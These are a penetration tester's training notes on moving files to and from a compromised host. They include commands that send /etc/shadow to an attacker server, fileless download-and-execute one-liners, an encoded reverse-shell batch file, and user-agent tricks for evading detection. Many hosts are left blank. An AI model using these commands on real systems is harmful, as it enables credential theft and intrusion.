File transfers between target and attacking machine

These notes are from my practice at work, during CTF and from HTB Academy Excellent tip from HTB Academy: Unless specifically requested by a client, we do not recommend exfiltrating data such as Personally Identifiable Information (PII), financial data (i.e., credit card numbers), trade secrets, etc., from a client environment. Instead, if attempting to test Data Loss Prevention (DLP) controls/egress filtering protections, create a file with dummy data that mimics the data that the client is trying to protect.

Verify file integrity

  • file shell

  • md5sum shell and compare the result in the attacking machine and target

  • Get-FileHash "C:\Windows\system32\drivers\etc\hosts" -Algorithm MD5 | select Hash in powershell

Method with no communications required

Encode the file in base64

Note: While this method is convenient, it's not always possible to use. Windows Command Line utility (cmd.exe) has a maximum string length of 8,191 characters. Also, a web shell may error if you attempt to send extremely large strings.

From Attack to target

  • Get the md5sum of the file (see command above)

  • Encode a file in bash cat id_rsa |base64 -w 0;echo

  • Decode it in powershell PS C:\htb> [IO.File]::WriteAllBytes("C:\Users\Public\id_rsa", [Convert]::FromBase64String("LS0tLS1CRU[STRIPPED]0tLQo="))

  • Decode it in bash (if the target is a linux machine) echo -n 'LS0tLS1CRUdJTiBP[STREIPPED]FURSBLRVktLS0tLQo=' | base64 -d > id_rsa

  • Verify the integrity of the file with Get-FileHash on powershell (see command above)

From target to attack

  • Get the md5sum of the file (see command above)

  • Encode a file in Powershell [Convert]::ToBase64String((Get-Content -path "C:\Windows\system32\drivers\etc\hosts" -Encoding byte))

  • echo -n 'IyBDb3B5cml[STRIPPED]b3N0DQo=' | base64 -d > hosts Decode Base64 String in Linux

  • Verify the integrity of the file with Get-FileHash on powershell (see command above)

PowerShell Web Downloads


Returns the data from a resource as a Stream.

Returns the data from a resource without blocking the calling thread.

Downloads data from a resource and returns a Byte array.

Downloads data from a resource and returns a Byte array without blocking the calling thread.

Downloads data from a resource to a local file.

Downloads data from a resource to a local file without blocking the calling thread.

Downloads a String from a resource and returns a String.

Downloads a String from a resource without blocking the calling thread.

PowerShell DownloadString - Fileless Method

  • IEX (New-Object Net.WebClient).DownloadString('')

  • (New-Object Net.WebClient).DownloadString('') | IEX

PowerShell Invoke-WebRequest


  • Invoke-WebRequest -OutFile PowerView.ps1 You can use the aliases iwr, curl, and wget instead of the Invoke-WebRequest full name.

  • Invoke-WebRequest https://<ip>/PowerView.ps1 -UseBasicParsing | IEX Use -UseBasicParsing in case first launch config has not been completed in Internet Explorer.

  • IEX(New-Object Net.WebClient).DownloadString('') Bypass error SSL/TLS error.

PowerShell Web Uploads

PowerShell doesn't have a built-in function for upload operations, but we can use Invoke-WebRequest or Invoke-RestMethod to build our upload function. We'll also need a web server that accepts uploads, which is not a default option in most common webserver utilities.

Installing a Configured WebServer with Upload

On your attack machine

  • pip3 install uploadserver

  • python3 -m uploadserver

In your target

  • Powershell script to upload a file to Python Upload Server

IEX(New-Object Net.WebClient).DownloadString('')
Invoke-FileUpload -Uri -File C:\Windows\System32\drivers\etc\hosts
  • Powershell Base64 Web Upload

$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\Windows\System32\drivers\etc\hosts' -Encoding Byte))
Invoke-WebRequest -Uri -Method POST -Body $b64

On your attack machine

  • nc -lvnp 8000 We catch the base64 data with Netcat

  • echo <base64> | base64 -d -w 0 > hosts We use the base64 application with the decode option to convert the string to the file

PowerShell Session File Transfer

To create a PowerShell Remoting session on a remote computer, we will need administrative access, be a member of the Remote Management Users group, or have explicit permissions for PowerShell Remoting in the session configuration

Example from HTB Academy

  • Test-NetConnection -ComputerName DATABASE01 -Port 5985 From DC01 - Confirm WinRM port TCP 5985 is Open on database01

Because this session already has privileges over DATABASE01, we don't need to specify credentials. In the example below, a session is created to the remote computer named DATABASE01 and stores the results in the variable named $Session.

  • $Session = New-PSSession -ComputerName DATABASE01 Create a PowerShell Remoting Session to DATABASE01

  • Copy-Item -Path C:\samplefile.txt -ToSession $Session -Destination C:\Users\Administrator\Desktop\ Copy samplefile.txt from our Localhost to the DATABASE01 Session

  • Copy-Item -Path "C:\Users\Administrator\Desktop\DATABASE.txt" -Destination C:\ -FromSession $Session Copy DATABASE.txt from DATABASE01 Session to our localhost


From attack machine to Target

Attacking machine

  • In kali we can use python python3 -m http.server 80 or python2.7 -m SimpleHTTPServer if python2

  • php -S with php

  • ruby -run -ehttpd . -p8000 with ruby

Target machine

  • On a win target machine you can access it directly with the browser: http://IP-ATTACKING-MACHINE/FILE-TO-GET or you can use certutil.exe certutil.exe -urlcache http://IP-ATTACKING-MACHINE/FILE-TO-GET file-to-get

  • In a linux target machine you can use wget http://IP-ATTACKING-MACHINE/FILE-TO-GET or curl curl -o FILE-TO-GET http://IP-ATTACKING-MACHINE/FILE-TO-GET

  • If you want to execute the file but not download it on a linux taget curl | bash or wget -qO- | python3

  • With /dev/tcp

    • exec 3<>/dev/tcp/ connect to the web server

    • echo -e "GET / HTTP/1.1\n\n">&3 get the file with an http get request

    • print the resposne cat <&3

Both ways


  • Another great tool to transfer is updog, it goes both ways if you can access a browser :D :D :D

  • pip3 install updog easy as this to install


From our attack machine

  • Get it here

  • python3 -m pip install --user uploadserver start the web server

  • openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server' create a self signed certificate

  • mkdir https && cd https start the webserver python3 -m uploadserver 443 --server-certificate /root/server.pem

From our target

  • curl -X POST -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure (insecure is for the self signed certificate)

  • wget diwload a file from the target to our attack

Note: When we start a new web server using Python or PHP, it's important to consider that inbound traffic may be blocked. We are transferring a file from our target onto our attack host, but we are not uploading the file

Enable PUT - Nginx

  • sudo mkdir -p /var/www/uploads/SecretUploadDirectory Create a Directory to Handle Uploaded Files

  • sudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectory Change the Owner to www-data

  • Create the nginx config file /etc/nginx/sites-available/upload.conf and put this in it

server {
    listen 9001;
    location /SecretUploadDirectory/ {
        root    /var/www/uploads;
        dav_methods PUT;
  • sudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/ Symlink our Site to the sites-enabled Directory

  • sudo systemctl restart nginx.service Start Nginx

  • In case of error we can check the logs to debug

tail -2 `/var/log/nginx/error.log`
  • We might need to remove nginx default config if port 80 is busy sudo rm /etc/nginx/sites-enabled/default

  • Upload file with cURL curl -T /etc/passwd http://localhost:9001/SecretUploadDirectory/users.txt


From attack machine to target

Attacking machine

  • sudo pip3 install pyftpdlib

  • python3 -m pyftpdlib -p 21 --write this is as anonymous

  • python3 -m pyftpdlib -p 21 --write -u username -P password we can specify a username and password

Target machine

  • ftp IP-OF-ATTACKING-MACHINE we can then use get filename to get the file

  • (New-Object Net.WebClient).DownloadFile('', 'ftp-file.txt') with powershell

  • Create a Command File for the FTP Client and Download the Target File

echo open > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt

From Target to attack

Attacking machine

  • python3 -m pyftpdlib -p 21 --write

Target machine

  • ftp IP-OF-ATTACKING-MACHINE we can then use put filename to send the file

  • curl --user anonymous:anonymous -o docker-toolbox.exe

  • (New-Object Net.WebClient).UploadFile('', 'C:\Windows\System32\drivers\etc\hosts') with powershell

  • Create a Command File for the FTP Client to Upload a File

echo open > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt


Both ways

Attacking machine

  • In kali we can use Impacket python3 -smb2support sharename /path/folder or sudo impacket-smbserver share -smb2support /tmp/smbshare

  • We can specify -username user -password pass if we need set up an authentication

Target machine

  • In a win victim machine we just need to copy the file to the attacking machine: copy FiletoDownload \\IP-OF-ATTACKING-MACHINE\SHARENAME

  • If we want to get a file to our target from the attacking machine we just need to copy \\\share\nc.exe

  • Sometimes on windows we will be asked to use a service that requires authentication so we can set this up with net use \\<network-location>\<some-share> password /USER:username after this we will be able to use the previous copy command

run SMB over HTTP with WebDav

If there are no SMB (TCP/445) restrictions, you can use impacket-smbserver the same way we set it up for download operations.

To set up our WebDav server, we need to install two Python modules, wsgidav and cheroot

  • sudo pip install wsgidav cheroot

  • sudo wsgidav --host= --port=80 --root=/tmp --auth=anonymous Using the WebDav Python module

  • Connect to the Webdav share

  • dir \\\DavWWWRoot Now we can attempt to connect to the share using the DavWWWRoot directory

Note: DavWWWRoot is a special keyword recognized by the Windows Shell. No such folder exists on your WebDAV server. The DavWWWRoot keyword tells the Mini-Redirector driver, which handles WebDAV requests that you are connecting to the root of the WebDAV server. You can avoid using this keyword if you specify a folder that exists on your server when connecting to the server. For example: \\sharefolder

  • Upload file using smb

copy C:\Users\john\Desktop\ \\\DavWWWRoot\
copy C:\Users\john\Desktop\ \\\sharefolder\


From attack machine to Target

There is an upload and download feature

SSH (creds needed)

From attack machine to Target (local to remote)

  • sudo systemctl start ssh start ssh service

  • netstat -lnpt check ssh for listening port

  • In your kali or any linux scp FILE-TO-SEND user@ip:/path/to/folder

Note: You can create a temporary user account for file transfers and avoid using your primary credentials or keys on a remote computer.

From target to attack (remote to local)

  • In your kali or any linux cmd scp user@ip:/path/to/folder FILE-TO-GET


  • If you get this error protocol error: filename does not match request

  • You will need to add -T in your command. Here is an example:

  • scp -T user@server:C:\\Path\\To\\file.txt dest-folder


From Target to attack machine

Target machine


  • nc -l -p 8000 > SharpKatz.exe works too

  • ncat -l -p 8000 --recv-only > SharpKatz.exe with ncat

Attacking machine

  • nc VICTIM-IP PORT-NUMBER -w 3 < FILE note: -w is for the time out in seconds

  • nc -q 0 8000 < SharpKatz.exe -q 0 will tell nc to close the connection once it finishes

  • ncat --send-only 8000 < SharpKatz.exe

Attack to target

  • sudo nc -l -p 443 -q 0 < SharpKatz.exe Attack Host - Sending File as Input to Netcat

  • sudo ncat -l -p 443 --send-only < SharpKatz.exe same with ncat

  • nc 443 > SharpKatz.exe Compromised Machine Connect to Netcat to Receive the File

  • ncat 443 --recv-only > SharpKatz.exe same with netcat

If we don't have Netcat or Ncat on our compromised machine, Bash supports read/write operations on a pseudo-device file /dev/TCP/. Writing to this particular file makes Bash open a TCP connection to host:port, and this feature may be used for file transfers.

with /dev/tcp

  • sudo nc -l -p 443 -q 0 < SharpKatz.exe nc - Sending File as Input to nc

  • sudo ncat -l -p 443 --send-only < SharpKatz.exe same wit ncat

  • cat < /dev/tcp/ > SharpKatz.exe Compromised Machine Connecting to Netcat Using /dev/tcp


  • rdesktop -d HTB -u administrator -p 'Password0@' -r disk:linux='/home/user/rdesktop/files' Mounting a Linux Folder Using rdesktop

  • xfreerdp /v: /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer Mounting a Linux Folder Using xfreerdp

  • To access the directory, we can connect to \tsclient, allowing us to transfer files to and from the RDP session

  • Alternatively, from Windows, the native mstsc.exe remote desktop client can be used

Transfering Files with code


  • python2.7 -c 'import urllib;urllib.urlretrieve ("", "")' python 2

  • python3 -c 'import urllib.request;urllib.request.urlretrieve("", "")' python 3

Upload operations

  • python3 -m uploadserver Starting the Python uploadserver Module

  • python3 -c 'import requests;"",files={"files":open("/etc/passwd","rb")})' uploading a file

Here are more details about the onliner to upload a file

# To use the requests function, we need to import the module first.
import requests 
# Define the target URL where we will upload the file.
URL = ""
# Define the file we want to read, open it and save it in a variable.
file = open("/etc/passwd","rb")
# Use a requests POST request to upload the file. 
r =,files={"files":file})

Good advice by HTB Acsademy: We can do the same with any other programming language. A good practice is picking one and trying to build an upload program.


  • php -r '$file = file_get_contents(""); file_put_contents("",$file);' PHP Download with File_get_contents()

  • php -r 'const BUFFER = 1024; $fremote = fopen("", "rb"); $flocal = fopen("", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);' PHP Download with Fopen()

  • php -r '$lines = @file(""); foreach ($lines as $line_num => $line) { echo $line; }' | bash PHP Download a File and Pipe it to Bash

Note: The URL can be used as a filename with the @file function if the fopen wrappers have been enabled.


  • ruby -e 'require "net/http"; File.write("", Net::HTTP.get(URI.parse("")))' download a file


  • perl -e 'use LWP::Simple; getstore("", "");' Download a file


var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
  • On a win cmd cscript.exe /nologo wget.js PowerView.ps1 Download a File Using JavaScript and cscript.exe

Source: HTB Academy using this post


dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", WScript.Arguments.Item(0), False

with bStrm
    .type = 1
    .write xHttp.responseBody
    .savetofile WScript.Arguments.Item(1), 2
end with
  • cscript.exe /nologo wget.vbs PowerView2.ps1 Download a File Using VBScript and cscript.exe

Source HTB Academy using this thread

Protected File Transfers

On Windows

We can use any file transfer methods to get this file onto a target host. After the script has been transferred, it only needs to be imported as a module.

  • Import-Module .\Invoke-AESEncryption.ps1

  • Invoke-AESEncryption.ps1 -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt File Encryption example

On Linux

  • openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc to encrypt /etc/passwd.

  • openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd to decrypt

Living off The Land

LOLBAS - Example with CertReq

  • CertReq is an example but we could find other binaries as well for this purpose.

  • certreq.exe -Post -config c:\windows\win.ini upload win.ini in our attack machine. This will send the file to our Netcat session, and we can copy-paste its contents.

  • sudo nc -lvnp 80 with the listener from our attack machine we should receive the file.

GTFOBINS - Example with OpenSSL

  • openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem Create Certificate in our attack machine

  • openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/ Stand up the Server in our attack machine

  • openssl s_client -connect -quiet > Download File from the Compromised Machine

Others Living off the Land tools


  • bitsadmin /transfer n C:\Temp\nc.exe File Download with Bitsadmin

  • Import-Module bitstransfer; Start-BitsTransfer -Source "" -Destination "C:\Temp\nc.exe" Download

  • Start-BitsTransfer "C:\Temp\" -Destination "" -TransferType Upload -ProxyUsage Override -ProxyList PROXY01:8080 -ProxyCredential INLANEFREIGHT\svc-sql Upload


  • certutil.exe -verifyctl -split -f Download a file

Detection, Evasion and Bypass of protections


User agents are not only used to identify web browsers, but anything acting as an HTTP client and connecting to a web server via HTTP can have a user agent string (i.e., cURL, a custom Python script, or common tools such as sqlmap, or Nmap).

Organizations can take some steps to identify potential user agent strings by first building a list of known legitimate user agent strings, user agents used by default operating system processes, common user agents used by update services such as Windows Update, and antivirus updates, etc. These can be fed into a SIEM tool used for threat hunting to filter out legitimate traffic and focus on anomalies that may indicate suspicious behavior. Any suspicious-looking user agent strings can then be further investigated to determine whether they were used to perform malicious actions.


  • Client

Invoke-WebRequest -OutFile "C:\Users\Public\nc.exe" 
Invoke-RestMethod -OutFile "C:\Users\Public\nc.exe"
  • Server

GET /nc.exe HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0


  • Client

$h=new-object -com WinHttp.WinHttpRequest.5.1;
iex $h.ResponseText
  • Server

GET /nc.exe HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)


  • Client

$h=New-Object -ComObject Msxml2.XMLHTTP;
iex $h.responseText
  • Server

GET /nc.exe HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)


  • Client

certutil -urlcache -split -f 
PS C:\htb> certutil -verifyctl -split -f
  • Server

GET /nc.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/10.0


  • Client

Import-Module bitstransfer;
Start-BitsTransfer '' $env:temp\t;
$r=gc $env:temp\t;
rm $env:temp\t; 
iex $r
  • Server

HEAD /nc.exe HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Encoding: identity
User-Agent: Microsoft BITS/7.8



(See the section above about it)

In some cases, we may not be able to transfer a file. For example, the remote host may have firewall protections that prevent us from downloading a file from our machine. In this type of situation, we can use a simple trick to base64 encode the file into base64 format, and then we can paste the base64 string on the remote server and decode it. For example, if we wanted to transfer a binary file called shell, we can base64 encode it as follows:

  • base64 shell -w 0

Now, we can copy this base64 string, go to the remote host, and use base64 -d to decode it, and pipe the output into a file:

  • echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAA... <SNIP> ..lIuy9iaW4vc2gAU0iJ51JXSInmDwU | base64 -d > shell

In a windows target we can do this:

echo QGVjaG8gb2ZmCkM6XHRlbXBcbmNhdC5leGUgMTAuMTAuMTQuMiA0NDMgLWUgY21kLmV4ZQo= > data.b64
certutil -decode data.b64 evil.bat

Changing UserAgent

  • [Microsoft.PowerShell.Commands.PSUserAgent].GetProperties() | Select-Object Name,@{label="User Agent";Expression={[Microsoft.PowerShell.Commands.PSUserAgent]::$($_.Name)}} | fl list out user agent in Powershell

  • Invoke-WebRequest -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome -OutFile "C:\Users\Public\nc.exe" Request with Chrome User Agent from our target machine

  • nc -lvnp 80 with our nc listener we then get our file in our attack machine


Application whitelisting may prevent you from using PowerShell or Netcat, and command-line logging may alert defenders to your presence. In this case, an option may be to use a "LOLBIN" (living off the land binary), alternatively also known as "misplaced trust binaries." An example LOLBIN is the Intel Graphics Driver for Windows 10 (GfxDownloadWrapper.exe), installed on some systems and contains functionality to download configuration files periodically. This download functionality can be invoked as follows:

  • Transferring File with GfxDownloadWrapper.exe GfxDownloadWrapper.exe "" "C:\Temp\nc.exe"


Last updated